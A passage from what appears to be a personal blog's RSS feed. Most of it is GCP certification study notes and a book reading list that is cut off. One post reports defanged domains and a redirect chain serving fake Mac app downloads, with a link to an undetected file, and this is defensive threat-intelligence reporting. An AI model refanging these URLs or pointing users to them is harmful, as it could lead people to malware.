&lt;li>&lt;a href="https://cloud.google.com/bigtable/docs/schema-design">Principles&lt;/a>:
&lt;ul>
&lt;li>Don&amp;rsquo;t put timestamps first&lt;/li>
&lt;li>Don&amp;rsquo;t hash values (keep values human-readable as row-keys are lexigraphically sorted)&lt;/li>
&lt;li>Pad integers (and sometimes timestamps) so all row keys will be the same length and be reasonably sorted lexigraphically&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>I&amp;rsquo;ve observed that keys often follow one of the following formats:
&lt;ul>
&lt;li>&lt;code>{large-component}#{small-component}#{timestamp}&lt;/code>&lt;/li>
&lt;li>&lt;code>{large-component}#{small-component}#{reverse-timestamp}&lt;/code>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Supports &lt;a href="https://cloud.google.com/bigtable/docs/schema-design#column-families">column families&lt;/a>&lt;/li>
&lt;li>Performance increase linearly w/ nodes&lt;/li>
&lt;/ul></description></item><item><title>Cloud Composer in a Nutshell</title><link>https://hightower.space/posts/cloud-composer-notes/</link><pubDate>Fri, 29 Apr 2022 00:00:00 +0000</pubDate><guid>https://hightower.space/posts/cloud-composer-notes/</guid><description>&lt;h2 id="intro">Intro&lt;/h2>
&lt;p>This post is part of a series of posts with notes as I&amp;rsquo;m studying for &lt;a href="https://cloud.google.com/certification/data-engineer">Google&amp;rsquo;s Professional Data Engineer Certification&lt;/a>.&lt;/p>
&lt;p>This particular post covers Cloud Composer in a nutshell.&lt;/p>
&lt;h2 id="disclaimer">Disclaimer&lt;/h2>
&lt;p>Please read &lt;a href="https://hightower.space/posts/gcp-notes-disclaimer/">this disclaimer&lt;/a>.&lt;/p>
&lt;h2 id="cloud-composer">Cloud Composer&lt;/h2>
&lt;ul>
&lt;li>Managed Apache Airflow&lt;/li>
&lt;li>Create DAGs (&lt;a href="https://en.wikipedia.org/wiki/Directed_acyclic_graph">Directed Acyclic Graph&lt;/a>)&lt;/li>
&lt;li>Scheduling:
&lt;ul>
&lt;li>Periodic (pull) (specified in the Airflow GUI - e.g. every day at noon)&lt;/li>
&lt;li>Event-driven (push) (e.g. when new data is uploaded to GCS)&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul></description></item><item><title>Cloud SQL in a Nutshell</title><link>https://hightower.space/posts/cloud-sql-notes/</link><pubDate>Fri, 29 Apr 2022 00:00:00 +0000</pubDate><guid>https://hightower.space/posts/cloud-sql-notes/</guid><description>&lt;h2 id="intro">Intro&lt;/h2>
&lt;p>This post is part of a series of posts with notes as I&amp;rsquo;m studying for &lt;a href="https://cloud.google.com/certification/data-engineer">Google&amp;rsquo;s Professional Data Engineer Certification&lt;/a>.&lt;/p>
&lt;p>This particular post covers Cloud SQL in a nutshell.&lt;/p>
&lt;h2 id="disclaimer">Disclaimer&lt;/h2>
&lt;p>Please read &lt;a href="https://hightower.space/posts/gcp-notes-disclaimer/">this disclaimer&lt;/a>.&lt;/p>
&lt;h2 id="cloud-sql">Cloud SQL&lt;/h2>
&lt;ul>
&lt;li>Offers:
&lt;ul>
&lt;li>MySQL&lt;/li>
&lt;li>Postgres&lt;/li>
&lt;li>Micro$oft SQL server&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>High Availability through data replication through zones in a region (and failover - there are VMs in each zone in case one fails)&lt;/li>
&lt;li>Can transition to Spanner pretty easily&lt;/li>
&lt;/ul></description></item><item><title>Firestore in a Nutshell</title><link>https://hightower.space/posts/firestore-notes/</link><pubDate>Fri, 29 Apr 2022 00:00:00 +0000</pubDate><guid>https://hightower.space/posts/firestore-notes/</guid><description>&lt;h2 id="intro">Intro&lt;/h2>
&lt;p>This post is part of a series of posts with notes as I&amp;rsquo;m studying for &lt;a href="https://cloud.google.com/certification/data-engineer">Google&amp;rsquo;s Professional Data Engineer Certification&lt;/a>.&lt;/p>
&lt;p>This particular post covers Firestore in a nutshell.&lt;/p>
&lt;h2 id="disclaimer">Disclaimer&lt;/h2>
&lt;p>Please read &lt;a href="https://hightower.space/posts/gcp-notes-disclaimer/">this disclaimer&lt;/a>.&lt;/p>
&lt;h2 id="firestore">Firestore&lt;/h2>
&lt;ul>
&lt;li>Similar to mongodb&lt;/li>
&lt;li>Store data as documents&lt;/li>
&lt;li>Rare to migrate to Bigtable (unlike Cloud SQL which may migrate to Spanner eventually)&lt;/li>
&lt;li>Web devs. like it and it has easy integration for web/mobile use-cases&lt;/li>
&lt;/ul></description></item><item><title>GCP Notes Disclaimer</title><link>https://hightower.space/posts/gcp-notes-disclaimer/</link><pubDate>Fri, 29 Apr 2022 00:00:00 +0000</pubDate><guid>https://hightower.space/posts/gcp-notes-disclaimer/</guid><description>&lt;h2 id="disclaimer">Disclaimer&lt;/h2>
&lt;p>You were likely linked to this post from a &lt;a href="https://hightower.space/categories/gcp-notes/">GCP note&lt;/a> blog post.&lt;/p>
&lt;p>This post is to warn you that the content of that post was written &lt;em>before&lt;/em> I had taken the exam.&lt;/p>
&lt;p>I do not guarantee the accuracy or long-term reliability of these notes.&lt;/p>
&lt;p>Use them at your own risk and always defer to Google&amp;rsquo;s docs as &lt;a href="https://en.wikipedia.org/wiki/Canon_(basic_principle)">canon&lt;/a>.&lt;/p></description></item><item><title>GCP Paradigms</title><link>https://hightower.space/posts/gcp-paradigms/</link><pubDate>Fri, 29 Apr 2022 00:00:00 +0000</pubDate><guid>https://hightower.space/posts/gcp-paradigms/</guid><description>&lt;h2 id="intro">Intro&lt;/h2>
&lt;p>This post is part of a series of posts with notes as I&amp;rsquo;m studying for &lt;a href="https://cloud.google.com/certification/data-engineer">Google&amp;rsquo;s Professional Data Engineer Certification&lt;/a>.&lt;/p>
&lt;p>This particular post lists paradigms and categories which are helpful to know when working with GCP.&lt;/p>
&lt;h2 id="disclaimer">Disclaimer&lt;/h2>
&lt;p>The content of these posts is written &lt;em>before&lt;/em> I have taken the exam.&lt;/p>
&lt;p>I do not guarantee the accuracy or long-term reliability of these notes.&lt;/p>
&lt;p>Use them at your own risk and always defer to Google&amp;rsquo;s docs as &lt;a href="https://en.wikipedia.org/wiki/Canon_(basic_principle)">canon&lt;/a>.&lt;/p>
&lt;h2 id="paradigms">Paradigms&lt;/h2>
&lt;h3 id="data-lakes-data-warehouses-and-databases">Data Lakes, Data Warehouses, and Databases&lt;/h3>
&lt;p>A &lt;strong>data lake&lt;/strong> is typically a place to store/replicate raw data.&lt;/p>
&lt;p>A &lt;strong>data warehouse&lt;/strong> is typically a place to store/replicate transformed data.
Typically, this is done by applying a ETL step to the data in a data lake.&lt;/p>
&lt;p>Data lakes and warehouses often fit together like:&lt;/p>
&lt;p>[Raw data] -replicated-&amp;gt; [Data lake] -ETL-&amp;gt; [Data Warehouse]&lt;/p>
&lt;p>&lt;strong>Databases&lt;/strong>, like data warehouses and unlike data lakes, store structured data. Unlike data warehouses, they are optimized
for writes and often use record/row-based storage. Data is databases is typically live rather than populated from somewhere else.&lt;/p>
&lt;h3 id="el-elt-and-etl">EL, ELT, and ETL&lt;/h3>
&lt;p>These are three methods to consider when moving data from a source into a target GCP system.
The correct method is determined by how much transformation is required to get the data into the desired state.
The methods below are listed from lesser to greater transformation required:&lt;/p>
&lt;ul>
&lt;li>EL - Extract and Load: Extract data from source and load data as-is into target system&lt;/li>
&lt;li>ELT - Extract, Load, and Transform: Extract data from source, load into target system, transform in the target system&lt;/li>
&lt;li>ETL - Extract, Transform, and Load: Extract data from source, transform data, load data into target system&lt;/li>
&lt;/ul>
&lt;p>In an ETL pipeline, it is important to:&lt;/p>
&lt;ul>
&lt;li>Maintain data lineage&lt;/li>
&lt;li>Keep metadata&lt;/li>
&lt;li>Data Catalog is a GCP product to help discover and manage metadata&lt;/li>
&lt;/ul>
&lt;h3 id="others">Others&lt;/h3>
&lt;p>Here are some others which I&amp;rsquo;m not going to discuss here:&lt;/p>
&lt;ul>
&lt;li>push vs. pull events&lt;/li>
&lt;li>3 v&amp;rsquo;s of data: variety, volume, velocity&lt;/li>
&lt;li>seperation of compute and storage&lt;/li>
&lt;/ul></description></item><item><title>Pub/Sub in a Nutshell</title><link>https://hightower.space/posts/pubsub-notes/</link><pubDate>Fri, 29 Apr 2022 00:00:00 +0000</pubDate><guid>https://hightower.space/posts/pubsub-notes/</guid><description>&lt;h2 id="intro">Intro&lt;/h2>
&lt;p>This post is part of a series of posts with notes as I&amp;rsquo;m studying for &lt;a href="https://cloud.google.com/certification/data-engineer">Google&amp;rsquo;s Professional Data Engineer Certification&lt;/a>.&lt;/p>
&lt;p>This particular post covers Pub/Sub in a nutshell.&lt;/p>
&lt;h2 id="disclaimer">Disclaimer&lt;/h2>
&lt;p>Please read &lt;a href="https://hightower.space/posts/gcp-notes-disclaimer/">this disclaimer&lt;/a>.&lt;/p>
&lt;h2 id="pubsub">Pub/Sub&lt;/h2>
&lt;ul>
&lt;li>Fully managed, data ingestion and distro. system&lt;/li>
&lt;li>Async., real-time message bus&lt;/li>
&lt;li>Good soln. for buffering changes for lightly-coupled architectures
&lt;ul>
&lt;li>P/S decouples publishers and subscribers&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>HIPPA compliant&lt;/li>
&lt;li>Stores data for up to 31 days
&lt;ul>
&lt;li>Default is 7 days&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Has topics and subscriptions
&lt;ul>
&lt;li>Data is published to a topic&lt;/li>
&lt;li>Subscriptions dictate who recieves content for which topics&lt;/li>
&lt;li>Relationship btw. topics and subscriptions can be one:one or one:many&lt;/li>
&lt;li>Relationship btw. publishers and subscribers and can be one:many, many:one, or many:many&lt;/li>
&lt;li>Multiple subscribers can work on a single subscription&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Guarantees &amp;ldquo;at least once&amp;rdquo; delivery
&lt;ul>
&lt;li>May send duplicate and/or out-of-order messages&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Two options for delivery:
&lt;ol>
&lt;li>Push (from pub/sub to subscriber)&lt;/li>
&lt;li>Pull (from subscriber to pub/sub)&lt;/li>
&lt;li>Sync. - &amp;ldquo;Give me &lt;em>n&lt;/em> messages&amp;rdquo;&lt;/li>
&lt;li>Async.
- Higher throughput
- Better for latency-sensitive applications&lt;/li>
&lt;/ol>
&lt;/li>
&lt;li>Two, primary use-cases:
&lt;ol>
&lt;li>Streaming analytics/ingestion of data into analytic systems&lt;/li>
&lt;li>Async. workflows w/ decoupled publishers and subscribers&lt;/li>
&lt;/ol>
&lt;/li>
&lt;/ul></description></item><item><title>Spanner in a Nutshell</title><link>https://hightower.space/posts/spanner-notes/</link><pubDate>Fri, 29 Apr 2022 00:00:00 +0000</pubDate><guid>https://hightower.space/posts/spanner-notes/</guid><description>&lt;h2 id="intro">Intro&lt;/h2>
&lt;p>This post is part of a series of posts with notes as I&amp;rsquo;m studying for &lt;a href="https://cloud.google.com/certification/data-engineer">Google&amp;rsquo;s Professional Data Engineer Certification&lt;/a>.&lt;/p>
&lt;p>This particular post covers Spanner in a nutshell.&lt;/p>
&lt;h2 id="disclaimer">Disclaimer&lt;/h2>
&lt;p>Please read &lt;a href="https://hightower.space/posts/gcp-notes-disclaimer/">this disclaimer&lt;/a>.&lt;/p>
&lt;h2 id="spanner">Spanner&lt;/h2>
&lt;ul>
&lt;li>Horizontally scalable&lt;/li>
&lt;li>No-ops
&lt;ul>
&lt;li>Only change needed is to add nodes&lt;/li>
&lt;li>Add another node if CPU &amp;gt; 70-75%&lt;/li>
&lt;li>Each node can handle 1.5 - 2 TB&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Can create linked/embeded tables
&lt;ul>
&lt;li>Helps avoid the cost of joins for normalized tables&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Two payment methods:
&lt;ul>
&lt;li>Pay-by-node: standard method&lt;/li>
&lt;li>Pay-by-processing-unit: let&amp;rsquo;s you pay for more granular operations/scale&lt;/li>
&lt;li>1 node = 1,000 processing units&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul></description></item><item><title>Mapping GCP Products to Open-Source Systems</title><link>https://hightower.space/posts/gcp-to-oss-map/</link><pubDate>Wed, 27 Apr 2022 00:00:00 +0000</pubDate><guid>https://hightower.space/posts/gcp-to-oss-map/</guid><description>&lt;h2 id="intro">Intro&lt;/h2>
&lt;p>This is the first post in a series recording some notes as I&amp;rsquo;m studying for &lt;a href="https://cloud.google.com/certification/data-engineer">Google&amp;rsquo;s Professional Data Engineer Certification&lt;/a>.&lt;/p>
&lt;p>The plan is that each post will discuss a particular service, relevant to the GCP PDE cert.&lt;/p>
&lt;h2 id="disclaimer">Disclaimer&lt;/h2>
&lt;p>Please read &lt;a href="https://hightower.space/posts/gcp-notes-disclaimer/">this disclaimer&lt;/a>.&lt;/p>
&lt;h2 id="mapping-gcp-products-to-oss">Mapping GCP Products to OSS&lt;/h2>
&lt;p>I find it helpful to map GCP Products to open-source software systems used by each GCP product.&lt;/p>
&lt;p>Here&amp;rsquo;s a table with my current understanding:&lt;/p>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>GCP Product&lt;/th>
&lt;th>Open-Source System&lt;/th>
&lt;th>Description&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>BigTable&lt;/td>
&lt;td>Hbase&lt;/td>
&lt;td>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>CloudSQL&lt;/td>
&lt;td>mysql/postgresql&lt;/td>
&lt;td>CloudSQL provides managed instances of common databases&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Dataproc&lt;/td>
&lt;td>Apache Hadoop/Spark&lt;/td>
&lt;td>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Cloud Storage&lt;/td>
&lt;td>HDFS&lt;/td>
&lt;td>A common use-case is to store HDFS (from DataProc or a Hadoop cluster running on a VM) in Cloud Storage&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Dataflow&lt;/td>
&lt;td>Apache Beam&lt;/td>
&lt;td>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Cloud Composer&lt;/td>
&lt;td>Apache Airflow&lt;/td>
&lt;td>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Memorystore&lt;/td>
&lt;td>Redis and Memcached&lt;/td>
&lt;td>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Firestore&lt;/td>
&lt;td>MongoDB&lt;/td>
&lt;td>Firestore is not API comptabile w/ MongoDB but is conceptually similar&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table></description></item><item><title>GCP Serverless Compute Options Overview</title><link>https://hightower.space/posts/gcp-serverless-compute-options/</link><pubDate>Tue, 19 Apr 2022 00:00:00 +0000</pubDate><guid>https://hightower.space/posts/gcp-serverless-compute-options/</guid><description>&lt;h2 id="intro">Intro&lt;/h2>
&lt;p>This is a brief overview of the Serverless Compute Options in GCP.&lt;/p>
&lt;p>After reading this post, I hope you are:&lt;/p>
&lt;ol>
&lt;li>Familiar with the main options (at a high-level)&lt;/li>
&lt;li>Understand some main use-cases for each option&lt;/li>
&lt;li>Have a limited understanding of what it looks like to work with a service in each product&lt;/li>
&lt;/ol>
&lt;p>The google docs on these subjects are really helpful&amp;hellip; I strongly recommend reading through them.&lt;/p>
&lt;h3 id="serverless-compute-options">Serverless Compute Options&lt;/h3>
&lt;p>Here are the primary compute options in GCP:&lt;/p>
&lt;p>&lt;img src="https://raw.githubusercontent.com/priyankavergadia/GCPSketchnote/main/images/ComputeOptionsv1.jpg" alt="Visual, Google Compute Options">&lt;/p>
&lt;p>&lt;em>&lt;a href="https://raw.githubusercontent.com/priyankavergadia/GCPSketchnote/main/images/ComputeOptionsv1.jpg">source&lt;/a>&lt;/em>&lt;/p>
&lt;p>For this discussion, we&amp;rsquo;ll focus on the three serverless options:&lt;/p>
&lt;ol>
&lt;li>Cloud Run&lt;/li>
&lt;li>App Engine&lt;/li>
&lt;li>Cloud Functions&lt;/li>
&lt;/ol>
&lt;h2 id="overview">Overview&lt;/h2>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>Product&lt;/th>
&lt;th>Docs&lt;/th>
&lt;th>Description&lt;/th>
&lt;th>Cool Features&lt;/th>
&lt;th>Use-Cases&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>Cloud Run&lt;/td>
&lt;td>&lt;a href="https://cloud.google.com/run/">docs&lt;/a>&lt;/td>
&lt;td>Runs containerized apps&lt;/td>
&lt;td>&lt;ul>&lt;li>Split http traffic btw. diff versions of an app for A/B Tesing&lt;/li>&lt;li>Uses &lt;a href="https://knative.dev/docs/">knative&lt;/a>, allowing portability&lt;/li>&lt;li>Can be triggered by events&lt;/li>&lt;/ul>&lt;/td>
&lt;td>&lt;ul>&lt;li>Websites/APIs&lt;/li>&lt;li>Cronjobs&lt;/li>&lt;/ul>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>App Engine&lt;/td>
&lt;td>&lt;a href="https://cloud.google.com/appengine/">docs&lt;/a>&lt;/td>
&lt;td>Run http services&lt;/td>
&lt;td>&lt;ul>&lt;li>Split http traffic btw. diff versions of an app for A/B Tesing&lt;/li>&lt;li>Easy config. using &lt;a href="https://cloud.google.com/appengine/docs/standard/python3/config/appref">&lt;code>app.yaml&lt;/code>&lt;/a>&lt;/li>&lt;li>Flexible &lt;a href="https://cloud.google.com/appengine/docs/standard/python3/an-overview-of-app-engine">structure&lt;/a> allowing services in different languages in the same app&lt;/li>&lt;/ul>&lt;/td>
&lt;td>&lt;ul>&lt;li>Server-rendered websites/APIs&lt;/li>&lt;/ul>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Cloud Functions&lt;/td>
&lt;td>&lt;a href="https://cloud.google.com/functions/">docs&lt;/a>&lt;/td>
&lt;td>Run event-driven functions&lt;/td>
&lt;td>&lt;ul>&lt;li>Uses &lt;a href="https://knative.dev/docs/">knative&lt;/a>, allowing portability&lt;/li>&lt;/ul>&lt;/td>
&lt;td>&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table></description></item><item><title>Fake Apple App Download Sites</title><link>https://hightower.space/posts/fake-apple-app-download-sites/</link><pubDate>Tue, 25 Jan 2022 00:00:00 +0000</pubDate><guid>https://hightower.space/posts/fake-apple-app-download-sites/</guid><description>&lt;p>&lt;strong>Note:&lt;/strong> All URLs/domains in this post are &lt;a href="https://ioc-fanger.hightower.space/#overview">defanged&lt;/a>. You can fang/defang them &lt;a href="https://ioc-fanger.hightower.space/#use-the-package-live">here&lt;/a>.&lt;/p>
&lt;p>I was investigating how to use &lt;a href="https://elinux.org/X11">x11&lt;/a> to serve a GUI running inside a docker container for an &lt;a href="https://github.com/fhightower/nand2tetris">nand2tetris&lt;/a> project I&amp;rsquo;m working on and I found a collection of domains serving fake Apple app downloads:&lt;/p>
&lt;pre tabindex="0">&lt;code>hXXps://loadsea[.]heredoggi[.]com/x11-forwarding-for-mac/
hXXps://moraea[.]batteryscience[.]us/location-of-x11-libraries-mac-os/
hXXps://letdwnl[.]brittanythomassigler[.]us/mac-os-x11-app/
hXXps://gogo[.]sunshinebeagles[.]us/mac-x11-manual-pdf-5252/
hXXps://isabelmaries[.]co/xquartz-alternative/
hXXps://holidayshunter[.]naturalwatches[.]co/x11-forwarding-for-mac/
&lt;/code>&lt;/pre>&lt;p>Most of these redirect to a URL like:&lt;/p>
&lt;pre tabindex="0">&lt;code>hXXps://viperctum[.]info/go[.]php?url=https%3A%2F%2Fcdn[.]ketamo[.]info%2F%3Fa%3D337
89%26c%3D303745%26s1%3D111%26s2%3D1411c3vzwslb4a16%26s3%3DX11%2BForwarding%2BFor%2BM
ac&amp;amp;uclick=3vzwslb4
&lt;/code>&lt;/pre>&lt;p>Which, decoded, looks like:&lt;/p>
&lt;pre tabindex="0">&lt;code>hXXps://viperctum[.]info/go[.]php?url=hXXps://cdn[.]ketamo[.]info/?a=33789&amp;amp;c=303745
&amp;amp;s1=111&amp;amp;s2=1411c3vzwslb4a16&amp;amp;s3=X11+Forwarding+For+Mac&amp;amp;uclick=3vzwslb4
&lt;/code>&lt;/pre>&lt;p>When followed, this link goes to:&lt;/p>
&lt;pre tabindex="0">&lt;code>hXXps://www[.]pdf4mac[.]com/?czfjp=1296&amp;amp;e=2647&amp;amp;a=4389&amp;amp;f=pb&amp;amp;r=d2c78a53d92d4e789ead565
5b694d7101c8b4
&lt;/code>&lt;/pre>&lt;p>Which contains a download for &lt;a href="https://www.virustotal.com/gui/file/856f233ee7363c0297a4f84e8783cdae0098ada0241009957dea433ebe1270de">this&lt;/a>, undetected file.&lt;/p></description></item><item><title>2022 Reading List</title><link>https://hightower.space/posts/2022-reading-list/</link><pubDate>Sat, 01 Jan 2022 00:00:00 +0000</pubDate><guid>https://hightower.space/posts/2022-reading-list/</guid><description>&lt;section>
Books read in 2022: 60
&lt;ol>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Lord of the Rings: The Fellowship of the Ring&lt;/i> [A]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>J. R. Tolkien&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>I enjoy this series more and more each time I read it.&lt;/li>
&lt;li>This time, I noticed how the adventure begins right in Hobbiton as Frodo is almost caught on a number of occasions. The movies scale the danger as the adventure goes on, but the books introduce the danger right from the start&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Crucial Conversations: Tools for Talking When Stakes Are High&lt;/i> [B&amp;#43;]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Joseph Grenny&lt;/li>
&lt;li>Ron McMillan&lt;/li>
&lt;li>Al Switzler&lt;/li>
&lt;li>Kerry Patterson&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>I think this book is a &amp;lsquo;must-read&amp;rsquo; for everyone and worth reading regularly. It provides so many practical, helpful tips applicable to relationships with a spouse, family, friends, co-workers, and bosses&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Live Not by Lies: A Manual for Christian Dissidents&lt;/i> [B]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Rod Dreher&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Worth reading&amp;hellip; forecasts concerning trends in today&amp;rsquo;s culture and provides practical steps (not the least of which is to &amp;rsquo;live not by lies&amp;rsquo;) to live a Christian in this culture&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Extreme Ownership: How U.S. Navy SEALs Lead and Win&lt;/i> [A&amp;#43;]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Jocko Willink&lt;/li>
&lt;li>Leif Babin&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Absolutely fantastic read. A rare book I will read yearly.&lt;/li>
&lt;li>Very challenging book that rips out the heart of excuses and apathy.&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Redeeming Mathematics: A God-Centered Approach&lt;/i> [C]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Vern S. Poythress&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Mildly interesting&lt;/li>
&lt;li>At times, the arguments seem overly simple, obvious, or forced. For example, the author argues that our ability to extrapolate natural numbers to infinity shows how we are thinking God&amp;rsquo;s thoughts after Him and imitating (in a small way) God&amp;rsquo;s infinitude. While this may be true, I don&amp;rsquo;t &lt;em>feel&lt;/em> the weight/value of this argument.&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Trivium: The Classical Liberal Arts of Grammar, Logic, &amp;amp; Rhetoric&lt;/i> [C&amp;#43;]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>many...&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Fun and informative read, providing a number of basic constructs and principles in grammar, logic, and rhetoric.&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>The Art of Doing Science and Engineering: Learning to Learn&lt;/i> [C&amp;#43;]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Richard W. Hamming&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Fascinating read on multiple levels: historically (as it describes the development of a number of computer technologies), mathematically, technologically, and philosophically.&lt;/li>
&lt;li>Good read although a bit dry or wandering at times&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Math Without Numbers&lt;/i> [C&amp;#43;]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Milo Beckman&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Very fun and informative read. Does a great job of communicating the vastness, themes, and beauty of mathematics.&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Husband-Coached Childbirth: The Bradley Method of Natural Childbirth&lt;/i> [C]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Robert A. Bradley&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>This was clearly written at a very different time (e.g. a time when husbands couldn&amp;rsquo;t be in the room w/ their wives)&lt;/li>
&lt;li>Good prep. material for husbands to understand what their wives will go through and how to support them&lt;/li>
&lt;li>While I&amp;rsquo;m certainly not an expert, he seems to be overstating the ease of unmedicated childbirth&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Show Them No Mercy: 4 Views on God and Canaanite Genocide&lt;/i> [B]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>C. S. Cowles&lt;/li>
&lt;li>Daniel L. Gard&lt;/li>
&lt;li>Eugene H. Merrill&lt;/li>
&lt;li>Tremper Longman III&lt;/li>
&lt;li>Stanley N. Gundry (Editor)&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>I felt all positions were very clearly articulated&lt;/li>
&lt;li>My agreement w/ the various views (from greatest to least) is: 1. Spiritual Continuity, 2. Moderate Discontinuity, 3. Eschatological Continuity, 4. Strong Discontinuity&lt;/li>
&lt;li>I was particularly interested by C. S. Cowles argument and responses. His response to Tremper Longman was interesting in that he seemed (like Job&amp;rsquo;s friends) to be saying &amp;lsquo;The book of Revelation is complicated&amp;hellip; here&amp;rsquo;s what it means&amp;hellip;&amp;rsquo;. Additionally, his quotation of Exodus 34:6-7 (pg. 195) was interesting b/c he cut the quotation short so that it didn&amp;rsquo;t include God&amp;rsquo;s promise to punish the guilty and punish evil-doers and their children.&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Enlightening Symbols: A Short History of Mathematical Notation and Its Hidden Powers&lt;/i> [C-]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Joseph Mazur&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Not as fascinating as I expected, but some interesting historical points&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Work&lt;/i> [B]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Daniel M. Doriani&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>As stated in the conclusion of this book: &amp;lsquo;[T]his book has argued that we can hope to effect live-giving social reforms through work&amp;rsquo;&lt;/li>
&lt;li>As stated in the conclusion of this book: &amp;lsquo;This book maintains that despite human sin, the cultural mandate&amp;hellip; still stands. We dare to think that Christians can do more than making a living or avoiding sin. We show that Christ, the King, has come and that His kingdom has arrived, even in our work, in every realm of life.&amp;rsquo;&lt;/li>
&lt;li>Very good read that addresses some foundational questions about work from a historical, theological, and biblical approach&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>The Death of Porn: Men of Integrity Building a World of Nobility&lt;/i> [C]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Ray Ortlund&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Decent book serving as a call to action for men to reject the culture of Porn and the objectification of women.&lt;/li>
&lt;li>Simple, short. Not earth-shaking, but encouraging and worth reading&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Four Views on Free Will&lt;/i> [C]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>John Martin Fischer&lt;/li>
&lt;li>Robert Kane&lt;/li>
&lt;li>Derk Pereboom&lt;/li>
&lt;li>Manuel Vargas&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Very informative introduction - the intro alone is worth reading as it sets the stage for this fascinating topic&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Theology and Sanity&lt;/i> [A]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Frank Sheed&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>One of the best theology books I&amp;rsquo;ve read - it addresses pertinent, enlightening, and awe-inspiring topics usually neglected by theology books I&amp;rsquo;ve read&lt;/li>
&lt;li>Even as a Protestant, I find this book fascinating and insightful&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Lord of the Rings: The Return of the Ring&lt;/i> [A]&lt;/summary>
Author(s):
